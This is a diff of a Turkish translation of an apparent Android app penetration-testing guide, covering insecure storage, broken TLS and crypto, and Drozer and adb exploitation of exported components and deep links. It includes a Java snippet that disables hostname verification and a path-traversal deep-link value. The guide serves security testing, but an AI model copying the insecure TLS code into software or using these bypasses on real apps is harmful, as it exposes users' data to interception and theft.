1. **Statik Analiz:**
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
2. **Dinamik Analiz:**
|
||||
- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
|
||||
**Dış Depolama**
|
||||
**Harici Depolama**
|
||||
|
||||
**Dış depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
|
||||
**Harici depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
|
||||
|
||||
1. **Erişilebilirlik**:
|
||||
- Dış depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
2. **Güvenlik Endişeleri**:
|
||||
- Erişim kolaylığı göz önüne alındığında, **hassas bilgileri dış depolamada saklamamanız** önerilir.
|
||||
- Dış depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
|
||||
3. **Dış Depolamadan Veri İşleme**:
|
||||
- Dış depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Dinamik yükleme için dış depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
- Uygulamanızın dış depolamadan yürütülebilir dosyaları alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri harici depolamada saklamamanız önerilir**.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır.
|
||||
3. **Harici Depolamadan Veri İşleme**:
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
|
||||
Dış depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
|
||||
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
|
||||
|
||||
> [!NOTE]
|
||||
> Android 4.4 ile birlikte (**API 17**), SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
|
||||
|
||||
**Açık metin olarak saklanan hassas veriler**
|
||||
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür.
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
|
||||
### Kırık TLS
|
||||
|
||||
**Tüm Sertifikaları Kabul Etme**
|
||||
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmediğinde bile:
|
||||
Bazı nedenlerden dolayı, geliştiriciler bazen tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
İyi bir test yöntemi, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmemelisiniz. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
|
||||
### Kırık Kriptografi
|
||||
|
||||
**Zayıf Anahtar Yönetim Süreçleri**
|
||||
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik çalışmaları, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına izin verebilir.
|
||||
|
||||
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
|
||||
|
||||
Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
|
||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte brute-force **dirençli** hash'ler kullanılmalıdır.
|
||||
|
||||
### Diğer Kontroller
|
||||
|
||||
- **APK'yı obfuscate etmek** saldırganların tersine mühendislik çalışmalarını zorlaştırmak için önerilir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
|
||||
- **APK'yı obfuscate etmek** önerilir, böylece tersine mühendislik işlemleri saldırganlar için zorlaşır.
|
||||
- Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir.
|
||||
- Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
|
||||
- Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
|
||||
- APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın.
|
||||
|
||||
### React Native Uygulaması
|
||||
@ -181,7 +181,7 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met
|
||||
|
||||
### Otomatik Statik Kod Analizi
|
||||
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink** kombinasyonlarını belirtir.
|
||||
|
||||
Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
|
||||
|
||||
@ -189,7 +189,7 @@ Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları
|
||||
|
||||
Bir uygulama, içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz.
|
||||
|
||||
### Biyometrik Kimlik Doğrulama Atlatma
|
||||
### Biyometrik Kimlik Doğrulamasını Atlatma
|
||||
|
||||
{{#ref}}
|
||||
bypass-biometric-authentication-android.md
|
||||
@ -199,8 +199,8 @@ bypass-biometric-authentication-android.md
|
||||
|
||||
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- `native` olarak tanımlanan **yerel fonksiyonlar**: `public native, System.loadLibrary, System.load`
|
||||
- [Yerel fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load`
|
||||
- [**Native fonksiyonları tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
|
||||
### **Diğer Hileler**
|
||||
|
||||
@ -214,7 +214,7 @@ content-protocol.md
|
||||
|
||||
## Dinamik Analiz
|
||||
|
||||
> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir.
|
||||
> Öncelikle, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida başta olmak üzere) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir.
|
||||
|
||||
### Çevrimiçi Dinamik Analiz
|
||||
|
||||
@ -230,20 +230,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
|
||||
|
||||
#### Bir emülatör kullanarak
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Kurulumunu bu sayfada öğrenin:
|
||||
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Bunu ayarlamayı öğrenmek için bu sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirin** önerilir._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._)
|
||||
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
|
||||
|
||||
> [!NOTE]
|
||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin.
|
||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
|
||||
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -251,7 +251,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
|
||||
#### Fiziksel bir cihaz kullanma
|
||||
|
||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root** yapabilirseniz harika olur:
|
||||
**hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve eğer **kökleyebilirseniz** harika olur:
|
||||
|
||||
1. **Ayarlar**.
|
||||
2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
|
||||
@ -259,8 +259,8 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
4. **Build numarasına** 7 kez basın.
|
||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
|
||||
|
||||
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz.
|
||||
> Uygulamayı yükledikten sonra, yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
|
||||
### İstenmeyen Veri Sızıntısı
|
||||
|
||||
@ -269,12 +269,12 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0'dan** sonraki **yeni sürümlerden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
|
||||
|
||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
|
||||
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebildiği** için hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebilir**, bu da hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak çok önemlidir, örneğin kredi kartı bilgileri gibi, veri sızıntılarını önlemek için.
|
||||
|
||||
**Çökme Günlükleri**
|
||||
|
||||
@ -288,33 +288,33 @@ Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliş
|
||||
|
||||
### SQLite DB'leri
|
||||
|
||||
Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\
|
||||
Veritabanları `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır.
|
||||
Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanacaktır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\
|
||||
Veritabanları `/data/data/the.package.name/databases` içinde yer almalıdır, örneğin `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi bulabiliyorsanız**, bu hala bir **zayıflıktır**.
|
||||
Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi** bulabiliyorsanız, bu hala bir **zayıflıktır**.
|
||||
|
||||
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
|
||||
|
||||
### Drozer (Saldırı Etkinlikleri, İçerik Sağlayıcıları ve Hizmetler)
|
||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler)
|
||||
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat edilen etkinlikleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemiyle etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat edilen aktiviteleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
|
||||
### İhracat Edilen Etkinlikleri İstismar Etme
|
||||
### İhracat Edilen Aktiviteleri İstismar Etme
|
||||
|
||||
[**Bir Android Etkinliği'nin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ayrıca, bir etkinliğin kodunun **`onCreate`** metodunda başladığını unutmayın.
|
||||
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
|
||||
|
||||
**Yetkilendirme atlatma**
|
||||
|
||||
Bir Etkinlik ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir etkinlik **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz**.
|
||||
|
||||
[**Drozer ile ihracat edilen etkinlikleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Ayrıca, adb'den bir ihracat edilen etkinliği başlatabilirsiniz:
|
||||
Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- İhracat Edilen Etkinlik Adı com.example.test.MainActivity
|
||||
- İhracat Edilen Aktivite Adı com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -334,16 +334,16 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
|
||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
|
||||
|
||||
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
|
||||
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
|
||||
[**Drozer ile İçerik Sağlayıcılarını nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Hizmetleri Sömürme**
|
||||
|
||||
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\
|
||||
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\
|
||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Broadcast Alıcılarını Sömürme**
|
||||
@ -351,7 +351,7 @@ Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren**
|
||||
[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın.
|
||||
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak zayıf olabilir.\
|
||||
[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Şemaları / Derin bağlantıları Sömürme**
|
||||
@ -361,7 +361,7 @@ Bir tanımlanmış **şemayı** **adb** veya bir **tarayıcı** kullanarak **aç
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağlantıyı açması gereken uygulamayı çağıracaktır._
|
||||
_Not edin ki **paket adını atlayabilirsiniz** ve mobil, o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -370,7 +370,7 @@ _Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağl
|
||||
```
|
||||
**Kod çalıştırıldı**
|
||||
|
||||
Uygulamada **çalıştırılacak kodu bulmak için**, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
|
||||
Uygulamada **çalıştırılacak kodu** bulmak için, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
@ -380,7 +380,7 @@ Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas
|
||||
|
||||
**Yolda parametreler**
|
||||
|
||||
**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
**URL'nin yolunda bir parametre kullanan herhangi bir derin bağlantıyı da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Daha fazla örnek**
|
||||
@ -390,12 +390,12 @@ Bir [ilginç hata ödül raporu](https://hackerone.com/reports/855618) bağlant
|
||||
### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
|
||||
|
||||
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
